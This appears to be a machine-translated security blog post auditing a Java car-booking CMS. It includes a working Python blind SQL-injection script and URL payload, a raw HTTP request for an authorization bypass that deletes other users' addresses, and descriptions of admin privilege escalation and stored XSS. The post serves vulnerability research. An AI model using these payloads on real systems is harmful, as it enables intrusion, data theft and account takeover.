During the graduation season, I have been a salted fish for a few months. I have to say that being a salted fish is really happy, but one thing is not good. It is that when I joined IT, he taught me how to start this laptop for a long time. …
I haven’t paid attention to the content on major security blogs for too long. I was walking around today and found that a master posted an article about a CMS audit. I did not review the code for a few months, so I thought about following this article. Reproduce it to find the feeling, and then found some other problems with this CMS by the way
!
Front SQLi
SQL injection exists at the front desk quick car booking function
Vulnerable function location:car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class-->getGoodsListByExtendCat()
The vulnerability code is as follows:
As can be seen from the above figure, the variables cat_ids, type_ids, brand_ids are directly spliced into the SQL statement. If these variables are controllable, then there are loopholes. Let's see where the getGoodsListByExtendCat method is called, and finally find that it com/weishang/my/action/GoodsList.java-->doGet()is called in the method, as follows At line 39:
It can be seen that the values of tem_cat_id, tem_type_id, tem_brand_id and other parameters are directly derived from the GET request, so the vulnerability here is established, but since there is no echo point and error injection cannot be used, we can only use blind injection, taking the brand_id parameter as an example , Write a script and run the database name
# -*- coding:utf-8 -*-
import requests
from string import printable
chars = printable
vul_url = "http://172.16.137.12:8080/opencarrun/goods?brand_id=1)%20or%20substr(database(),{},1)=%27{}%27%20limit%201%23&type_id=&cat_id=1&menuId=7&price=x&order=extension"
i = 0
result = ""
proxy = {
'http':'http://127.0.0.1:8282'}
while True:
i += 1
temp = result
for char in chars:
target = vul_url.format(i, char)
resp = requests.get(target, proxies=proxy)
# print(resp.text)
if '预 定' in resp.text:
result += char
break
print(result)
if temp == result:
break
The results of the operation are as follows, successfully ran out of the database name
Backend SQLi
SQL injection exists at the function of deleting external employees in the background
Vulnerability function:car-weishang-1.0.jar!\com\weishang\my\admin\DeleteAunt.class-->doGet()
code show as below:
We look at the eighth line, we can see that adminid comes from a GET request, and then adminid is passed into the deleteAdmin() function, we follow up
public String deleteAunt(String ids) {
String sql = "delete from aunt where aunt_id in (" + ids + ")";
int flag = this.jdbc.executeUpdate(sql);
this.jdbc.close();
return flag > 0 ? "ok" : "bad";
}
The code is very simple, that is, the delete operation is performed, and the ids parameter is directly spliced to the sql statement, which causes the vulnerability to occur. Similarly, because there is no echo and error injection cannot be used, the data can only be run by blind injection. I won’t write a script here, I will directly give two verification payloads
The user deletes the excess authority at the delivery address
The user can delete the delivery address of any user by modifying the address_id parameter
POST /opencarrun/wx/wxDeleteAddress HTTP/1.1
Host: 172.16.137.12:8080
Content-Length: 14
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.137.12:8080
Referer: http://172.16.137.12:8080/opencarrun/pc/pcUserAddress
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6E94031AC6467DB0383D8B397550A50D; store_id=42; type_id=1; time=2020-06-11
Connection: close
address_id=694
Vulnerability function:opencar/WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/action/admin/DeleteAdmin.class-->doGet()
Line 89, get the address_id, and then pass it directly into deleteAddress(), without judging whether the address belongs to the user, causing the vulnerability
Backstage administrator management module ultra vires
Low-privileged users can add and delete super administrator accounts
First, we log in to the super administrator account in the background and create a customer service level account
Then we log in to this customer service account. By default, the customer service account does not have any permissions. Therefore, the background of the customer service login is like this
It just doesn't have any function, but we can construct a data package to add super management, and then use the customer service cookie to send this data package
Log in to the super administrator account, you can see that there is an additional super administrator account named "Axin really handsome yo"
In addition to adding administrators, deleting administrators is the same as unauthorized.
Stored XSS
The entire system does not do any protection on xss, so XSS basically exists wherever there is input and output. Take the function of adding a delivery address to the user as an example, insert the payload in the contact
Successfully popped up, it seems that I am a pretty boy and can't help it!
Other defects
There are also some minor issues, such as the fixed sessionid (the sessionid does not change before and after login, which is also a security risk), the interface for sending SMS messages from the user registry can be maliciously used to achieve SMS bombing, and the background login verification code remains unchanged Lead to blasting and so on.
In addition to the specific vulnerabilities mentioned above, the system has many other places of XSS and SQL injection, I am too lazy to write it out, but there is a trick to dig into this system's SQL injection, basically all SQL operations in this system Both are in WebRoot/WEB-INF/lib/weishang-1.4.jar!/com/weishang/service/AdminService.classand in WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.classthese two classes, and most of the SQL statements of the system authors use the pre-compiled method, but some SQL statements use the direct splicing method for some reasons. These direct splicing places are potential The question, I probably took a look, there are still many places for direct stitching, and friends who are interested can practice their hands.
